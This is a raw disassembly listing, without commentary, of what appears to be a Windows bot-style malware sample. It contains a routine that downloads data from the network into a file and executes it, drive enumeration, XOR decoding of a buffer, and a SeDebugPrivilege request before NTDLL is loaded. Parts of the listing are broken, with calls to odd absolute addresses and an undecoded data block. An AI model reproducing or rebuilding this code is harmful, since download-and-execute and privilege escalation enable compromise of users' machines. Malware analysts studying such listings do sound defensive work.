push esi
push eax
call sub_41B590
mov eax, [ebp+8]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push dword ptr [ebp-8]
nop
call near ptr 2770000h
lea eax, [ebp-20h]
push esi
push eax
lea eax, [ebp-0A04h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8]
nop
call near ptr 2700000h
push esi
lea eax, [ebp-0A04h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-1F8h]
call dword_4CAFC4
mov [ebp-4], eax
push esi
cdq
add [ebp-10h], eax
lea eax, [ebp-0A04h]
push edi
push eax
push dword ptr [ebp-1F8h]
adc [ebp-0Ch], edx
call dword_4CAF8C
cmp eax, ebx
jl loc_41617B
mov eax, [ebp-4]
cmp eax, ebx
jl loc_41617B
sub [ebp+8], eax
jnz loc_416049
mov edi, [ebp-18h]
loc_4160E6: ; CODE XREF: ___:0041603Ej
push dword ptr [ebp-8]
nop
call near ptr 26509C6h
push dword ptr [ebp-0Ch]
push dword ptr [ebp-10h]
call sub_416922
pop ecx
pop ecx
push eax
push dword ptr [ebp-44h]
call dword_4CB000
push eax
lea eax, [ebp-1E0h]
push eax
lea eax, [ebp-3FCh]
push offset unk_4374B8
push eax
call sub_41B886
loc_41611F: ; CODE XREF: ___:00415FF6j
add esp, 14h
loc_416122: ; CODE XREF: ___:0041602Fj
cmp [ebp-50h], esi
jnz short loc_416147
push esi
lea eax, [ebp-3FCh]
push dword ptr [ebp-54h]
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp-1FCh]
call sub_409A72
add esp, 14h
loc_416147: ; CODE XREF: ___:00416125j
lea eax, [ebp-3FCh]
push eax
call sub_4151AC
cmp edi, esi
pop ecx
jbe short loc_41615F
push edi
call dword_4CB00C
loc_41615F: ; CODE XREF: ___:00416156j
push dword ptr [ebp-1F8h]
call dword_4CB00C
push dword ptr [ebp-58h]
call sub_40B412
pop ecx
push esi
nop
call near ptr 26D0000h
loc_41617B: ; CODE XREF: ___:004160C9j
; ___:004160D4j
push esi
mov esi, offset dword_4374A0
push dword ptr [ebp-54h]
lea eax, [ebp-0DCh]
push esi
push eax
push dword ptr [ebp-1FCh]
call sub_409A72
push esi
call sub_4151AC
add esp, 18h
push dword ptr [ebp-1F8h]
call dword_4CB00C
push dword ptr [ebp-58h]
call sub_40B412
pop ecx
push ebx
call near ptr 26D0000h
nop
loc_4161BC: ; DATA XREF: sub_401ACD+7B4o
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_41BB20
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1C0h]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp-8], ebx
mov [eax+1B0h], esi
lea eax, [ebp-2C4h]
push 104h
push eax
nop
call near ptr 2660AB7h
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-2C4h]
push eax
lea eax, [ebp-2C4h]
push offset dword_4293C4
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp-2C4h]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
call near ptr 27008BBh
nop
cmp eax, 0FFFFFFFFh
jnz short loc_416246
push offset unk_43761C
jmp short loc_41628C
; ---------------------------------------------------------------------------
loc_416246: ; CODE XREF: ___:0041623Dj
push eax
call near ptr 26509C6h
nop
lea eax, [ebp-2C4h]
push offset aAB ; "a+b"
push eax
call sub_41B4C2
pop ecx
cmp eax, ebx
pop ecx
mov [ebp-4], eax
jnz short loc_41626E
push offset unk_4375EC
jmp short loc_41628C
; ---------------------------------------------------------------------------
loc_41626E: ; CODE XREF: ___:00416265j
push dword ptr [ebp-20h]
lea eax, [ebp-1B8h]
push eax
call sub_415BD3
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+8], eax
jnz short loc_41629F
push offset unk_4375CC
loc_41628C: ; CODE XREF: ___:00416244j
; ___:0041626Cj
lea eax, [ebp-4C4h]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_41639B
; ---------------------------------------------------------------------------
loc_41629F: ; CODE XREF: ___:00416285j
mov esi, 1000h
loc_4162A4: ; CODE XREF: ___:0041630Aj
push esi
lea eax, [ebp-14C4h]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp-14C4h]
push ebx
push esi
push eax
push dword ptr [ebp+8]
call dword_4CAF8C
mov edi, eax
cmp edi, ebx
jz loc_41636B
cmp edi, 0FFFFFFFFh
jz short loc_41630C
push dword ptr [ebp-4]
lea eax, [ebp-14C4h]
push edi
push 1
push eax
call sub_41D2B4
add [ebp-8], edi
add esp, 10h
push dword ptr [ebp-8]
call dword_4CAF70
mov [ebp-0Ch], eax
push ebx
lea eax, [ebp-0Ch]
push 4
push eax
push dword ptr [ebp+8]
call dword_4CAFC4
jmp short loc_4162A4
; ---------------------------------------------------------------------------
loc_41630C: ; CODE XREF: ___:004162D4j
lea eax, [ebp-4C4h]
push offset dword_4374A0
push eax
call sub_41B886
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_409A72
lea eax, [ebp-4C4h]
push eax
call sub_4151AC
push dword ptr [ebp-4]
call sub_41B05B
add esp, 24h
push dword ptr [ebp+8]
call dword_4CB00C
push dword ptr [ebp-1Ch]
call sub_40B412
pop ecx
push 1
call near ptr 26D0000h
nop
loc_41636B: ; CODE XREF: ___:004162CBj
mov eax, [ebp-8]
cdq
push edx
push eax
call sub_416922
pop ecx
pop ecx
push eax
lea eax, [ebp-1B8h]
push eax
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-4C4h]
push offset unk_4375A0
push eax
call sub_41B886
add esp, 14h
loc_41639B: ; CODE XREF: ___:0041629Aj
cmp [ebp-14h], ebx
jnz short loc_4163C0
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_409A72
add esp, 14h
loc_4163C0: ; CODE XREF: ___:0041639Ej
lea eax, [ebp-4C4h]
push eax
call sub_4151AC
cmp [ebp-4], ebx
pop ecx
jz short loc_4163DB
push dword ptr [ebp-4]
call sub_41B05B
pop ecx
loc_4163DB: ; CODE XREF: ___:004163D0j
cmp [ebp+8], ebx
jbe short loc_4163E9
push dword ptr [ebp+8]
call dword_4CB00C
loc_4163E9: ; CODE XREF: ___:004163DEj
push dword ptr [ebp-1Ch]
call sub_40B412
pop ecx
push ebx
nop
call near ptr 26D0000h
loc_4163F9: ; DATA XREF: sub_401ACD+6279o
; sub_401ACD+6AB9o
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+8]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp-2CCh]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp-248h]
push esi
push eax
push dword_4CAF24
call dword_4CAE78
cmp eax, esi
mov [ebp-18h], eax
jz loc_416885
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp-148h]
push 40000000h
push eax
nop
call near ptr 27008BBh
cmp eax, edi
mov [ebp-20h], eax
jnb short loc_4164C0
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset unk_4377E8
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_4164A3
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
add esp, 14h
loc_4164A3: ; CODE XREF: ___:00416481j
lea eax, [ebp-510h]
push eax
call sub_4151AC
push dword ptr [ebp-48h]
call sub_40B412
pop ecx
pop ecx
push esi
nop
call near ptr 26D0000h
loc_4164C0: ; CODE XREF: ___:00416461j
xor edi, edi
nop
call near ptr 2680865h
mov ebx, 7D000h
mov [ebp-4], eax
push ebx
call sub_41B4D5
pop ecx
mov [ebp-1Ch], eax
loc_4164DA: ; CODE XREF: ___:004165ADj
push 200h
lea eax, [ebp-510h]
push esi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+8]
push eax
lea eax, [ebp-510h]
push 200h
push eax
push dword ptr [ebp-18h]
call dword_4CAE80
cmp [ebp-34h], esi
jz short loc_41651E
push dword ptr [ebp+8]
lea eax, [ebp-510h]
push eax
call sub_4168EB
pop ecx
pop ecx
loc_41651E: ; CODE XREF: ___:0041650Bj
lea eax, [ebp-24h]
push esi
push eax
lea eax, [ebp-510h]
push dword ptr [ebp+8]
push eax
push dword ptr [ebp-20h]
nop
call near ptr 26F0000h
cmp edi, ebx
jnb short loc_41655C
mov eax, ebx
sub eax, edi
cmp eax, [ebp+8]
jbe short loc_416546
mov eax, [ebp+8]
loc_416546: ; CODE XREF: ___:00416541j
push eax
lea eax, [ebp-510h]
push eax
mov eax, [ebp-1Ch]
add eax, edi
push eax
call sub_41C310
add esp, 0Ch
loc_41655C: ; CODE XREF: ___:00416538j
add edi, [ebp+8]
cmp [ebp-3Ch], esi
jz short loc_416569
cmp edi, [ebp-3Ch]
ja short loc_4165B3
loc_416569: ; CODE XREF: ___:00416562j
cmp dword ptr [ebp-44h], 1
mov eax, edi
jz short loc_416583
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_4377C0
jmp short loc_416593
; ---------------------------------------------------------------------------
loc_416583: ; CODE XREF: ___:0041656Fj
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_437798
loc_416593: ; CODE XREF: ___:00416581j
mov eax, [ebp-48h]
imul eax, 234h
add eax, offset dword_43DCB0
push eax
call sub_41B886
add esp, 10h
cmp [ebp+8], esi
ja loc_4164DA
loc_4165B3: ; CODE XREF: ___:00416567j
cmp [ebp-3Ch], esi
mov dword ptr [ebp-14h], 1
jz short loc_416608
cmp edi, [ebp-3Ch]
jz short loc_416608
push dword ptr [ebp-3Ch]
lea eax, [ebp-510h]
mov [ebp-14h], esi
push edi
push offset unk_43776C
push eax
call sub_41B886
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
lea eax, [ebp-510h]
push eax
call sub_4151AC
add esp, 28h
loc_416608: ; CODE XREF: ___:004165BDj
; ___:004165C2j
call near ptr 2680865h
nop
sub eax, [ebp-4]
xor edx, edx
mov ecx, 3E8h
push dword ptr [ebp-20h]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
nop
call near ptr 26509C6h
push dword ptr [ebp-1Ch]
call sub_41B0B1
cmp [ebp-38h], esi
pop ecx
jz short loc_416692
lea eax, [ebp-148h]
push eax
call sub_4010AB
cmp eax, [ebp-38h]
pop ecx
jz short loc_416692
push dword ptr [ebp-38h]
mov [ebp-14h], esi
push eax
lea eax, [ebp-510h]
push offset unk_437744
push eax
call sub_41B886
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
lea eax, [ebp-510h]
push eax
call sub_4151AC
add esp, 28h
loc_416692: ; CODE XREF: ___:0041663Aj
; ___:0041664Cj
cmp [ebp-14h], esi
jz loc_4168D2
cmp dword ptr [ebp-44h], 1
jz loc_41678D
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul dbl_4276B0
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul dbl_4276B0
fstp qword ptr [esp]
push offset unk_43770C
push eax
call sub_41B886
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_41670D
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
add esp, 14h
loc_41670D: ; CODE XREF: ___:004166EBj
lea eax, [ebp-510h]
push eax
call sub_4151AC
cmp dword ptr [ebp-40h], 1
pop ecx
jnz loc_4168D2
push 5
push esi
lea eax, [ebp-148h]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_4CAEE0
cmp [ebp-30h], esi
jnz loc_4168D2
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset dword_4376F0
push eax
call sub_41B886
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
lea eax, [ebp-510h]
push eax
call sub_4151AC
add esp, 24h
jmp loc_4168D2
; ---------------------------------------------------------------------------
loc_41678D: ; CODE XREF: ___:0041669Fj
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul dbl_4276B0
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul dbl_4276B0
fstp qword ptr [esp]
push offset unk_4376AC
push eax
call sub_41B886
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_4167F5
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
add esp, 14h
loc_4167F5: ; CODE XREF: ___:004167D3j
lea eax, [ebp-510h]
push eax
call sub_4151AC
push 10h
lea eax, [ebp-10h]
push esi
push eax
call sub_41B590
push 44h
lea eax, [ebp-310h]
pop edi
push edi
push esi
push eax
call sub_41B590
add esp, 1Ch
mov [ebp-310h], edi
lea eax, [ebp-10h]
mov dword ptr [ebp-304h], offset dword_43D128
push 1
mov [ebp-2E0h], si
pop edi
push eax
lea eax, [ebp-310h]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp-148h]
push esi
push eax
push esi
mov [ebp-2E4h], edi
nop
call near ptr 2650CA5h
cmp eax, edi
jnz short loc_416877
call dword_4CAECC
call sub_418359
push esi
nop
call near ptr 77E75CB5h
loc_416877: ; CODE XREF: ___:00416863j
lea eax, [ebp-148h]
push eax
push offset unk_437678
jmp short loc_416891
; ---------------------------------------------------------------------------
loc_416885: ; CODE XREF: ___:0041643Ej
lea eax, [ebp-248h]
push eax
push offset unk_43764C
loc_416891: ; CODE XREF: ___:00416883j
lea eax, [ebp-510h]
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_4168C5
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
add esp, 14h
loc_4168C5: ; CODE XREF: ___:004168A3j
lea eax, [ebp-510h]
push eax
call sub_4151AC
pop ecx
loc_4168D2: ; CODE XREF: ___:00416695j
; ___:0041671Ej ...
push dword ptr [ebp-18h]
call dword_4CAFA8
push dword ptr [ebp-48h]
call sub_40B412
pop ecx
push esi
nop
call near ptr 26D0000h
; =============== S U B R O U T I N E =======================================
sub_4168EB proc near ; CODE XREF: ___:00416517p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_416907
loc_4168F7: ; CODE XREF: sub_4168EB+1Aj
mov dl, byte_429094
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_4168F7
locret_416907: ; CODE XREF: sub_4168EB+Aj
retn
sub_4168EB endp
; =============== S U B R O U T I N E =======================================
sub_416908 proc near ; CODE XREF: sub_401ACD+5841p
; sub_401ACD+5969p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41D3BE
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_416908 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416922 proc near ; CODE XREF: sub_40F96A+458p
; sub_40F96A+5FDp ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_4D2BA8
push 0
push edi
call sub_41B590
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_416947: ; CODE XREF: sub_416922+5Bj
; sub_416922+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_41D480
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_41D410
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_416985
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_416947
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_416947
; ---------------------------------------------------------------------------
loc_416985: ; CODE XREF: sub_416922+4Bj
dec esi
mov eax, edi
loc_416988: ; CODE XREF: sub_416922+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_416997
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_416988
; ---------------------------------------------------------------------------
loc_416997: ; CODE XREF: sub_416922+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_416922 endp
; =============== S U B R O U T I N E =======================================
sub_4169A1 proc near ; CODE XREF: sub_416B56+51p
; sub_416B56+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CAFD4
sub eax, 0
jz short loc_4169E4
dec eax
jz short loc_4169DE
dec eax
dec eax
jz short loc_4169D8
dec eax
jz short loc_4169D2
dec eax
jz short loc_4169CC
dec eax
jz short loc_4169C6
mov eax, offset word_43783C
retn
; ---------------------------------------------------------------------------
loc_4169C6: ; CODE XREF: sub_4169A1+1Dj
mov eax, offset off_437838
retn
; ---------------------------------------------------------------------------
loc_4169CC: ; CODE XREF: sub_4169A1+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_4169D2: ; CODE XREF: sub_4169A1+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_4169D8: ; CODE XREF: sub_4169A1+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_4169DE: ; CODE XREF: sub_4169A1+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_4169E4: ; CODE XREF: sub_4169A1+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_4169A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4169EA proc near ; CODE XREF: sub_416A32+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_4CAE64
test eax, eax
jz short loc_416A1F
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax
loc_416A1F: ; CODE XREF: sub_4169EA+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_4169EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416A32 proc near ; CODE XREF: sub_416B56+17p
; sub_41AA42+1F3p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_4169EA
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_416B10
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_416B10
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_416B10
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_41D500
push edx
push eax
call sub_416922
pop ecx
mov edi, offset aSkb ; "%sKB"
pop ecx
mov esi, 80h
push eax
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_41B980
add esp, 10h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_41D500
push edx
push eax
call sub_416922
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_41B980
add esp, 10h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_41D500
push edx
push eax
call sub_416922
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_41B980
add esp, 10h
pop ebx
jmp short loc_416B42
; ---------------------------------------------------------------------------
loc_416B10: ; CODE XREF: sub_416A32+2Cj
; sub_416A32+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_118]
pop ecx
push esi
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_98]
pop ecx
push esi
push eax
call sub_41B886
pop ecx
pop ecx
loc_416B42: ; CODE XREF: sub_416A32+DCj
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416A32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416B56 proc near ; CODE XREF: sub_416C28+17p
; sub_416C28+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_416A32
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_41C070
add esp, 10h
test eax, eax
jnz short loc_416BC9
push ebx
push ebx
call sub_4169A1
pop ecx
push eax
push offset unk_43788C
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41B980
add esp, 14h
jmp short loc_416BFD
; ---------------------------------------------------------------------------
loc_416BC9: ; CODE XREF: sub_416B56+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_4169A1
pop ecx
push eax
push offset unk_437850
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41B980
add esp, 20h
loc_416BFD: ; CODE XREF: sub_416B56+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_500]
push eax
call sub_4151AC
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_416B56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416C28 proc near ; CODE XREF: sub_401ACD+2553p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_416C49
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416B56
add esp, 10h
jmp short loc_416CAA
; ---------------------------------------------------------------------------
loc_416C49: ; CODE XREF: sub_416C28+9j
push esi
push edi
push ebx
push ebx
call dword_4CAEDC
lea esi, [eax+2]
push esi
call sub_41B4D5
pop ecx
mov edi, eax
push edi
push esi
call dword_4CAEDC
cmp [edi], bl
mov esi, edi
jz short loc_416CA1
loc_416C6D: ; CODE XREF: sub_416C28+77j
push offset aA_1 ; "A:\\"
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_416C90
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416B56
add esp, 10h
loc_416C90: ; CODE XREF: sub_416C28+54j
push esi
call sub_41AFE0
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_416C6D
loc_416CA1: ; CODE XREF: sub_416C28+43j
push edi
call sub_41B0B1
pop ecx
pop edi
pop esi
loc_416CAA: ; CODE XREF: sub_416C28+1Fj
pop ebx
pop ebp
retn
sub_416C28 endp
; ---------------------------------------------------------------------------
byte_416CAD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+689Fo
dd 49CEC81h, 458B0000h, 57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh
dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h
dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h, 0FFFFFEECh
dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh, 0FFFFFDE8h
dd 78EC6850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h
dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh, 75FFFFFFh
dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh
dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh
dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h
dd 8D5018C4h, 0FFFB6485h, 78CC68FFh, 0E8500043h, 4B06h
dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh, 8D50F475h
dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh
dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h
dd 0E8535959h, 22B923Ch, 5B5E5F90h, 81EC8B55h, 54CECh
dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 3068FFFFh
dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h
dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h
dd 93BCBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh, 0E8BD8054h
dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh
dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh
dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh
dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh, 45892CC4h
dd 0BC858D1Ch, 50FFFFFEh, 0E8FC75FFh, 2349180h, 75C08590h
dd 0FC75FF8Fh, 9172E890h, 75FF0232h, 0B8858D14h, 0FFFFFFFDh
dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh
dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh
dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh, 437914h
dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh
dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h
dd 50FFFFFEh, 90FAE856h, 85900234h, 56B175C0h, 90EEE890h
dd 458B0232h, 5B5E5F1Ch
; ---------------------------------------------------------------------------
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F1A proc near ; DATA XREF: sub_401ACD+1CCFo
var_29C = byte ptr -29Ch
var_9C = dword ptr -9Ch
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
push 1
rep movsd
pop esi
mov [eax+90h], esi
call sub_41A8F4
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_416F59
cmp eax, 2
jz short loc_416F59
push offset unk_437B08
jmp loc_417098
; ---------------------------------------------------------------------------
loc_416F59: ; CODE XREF: sub_416F1A+2Ej
; sub_416F1A+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419651
pop ecx
test eax, eax
pop ecx
jz loc_417093
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
nop
call near ptr 26A0000h
mov esi, dword_4270BC
mov edi, eax
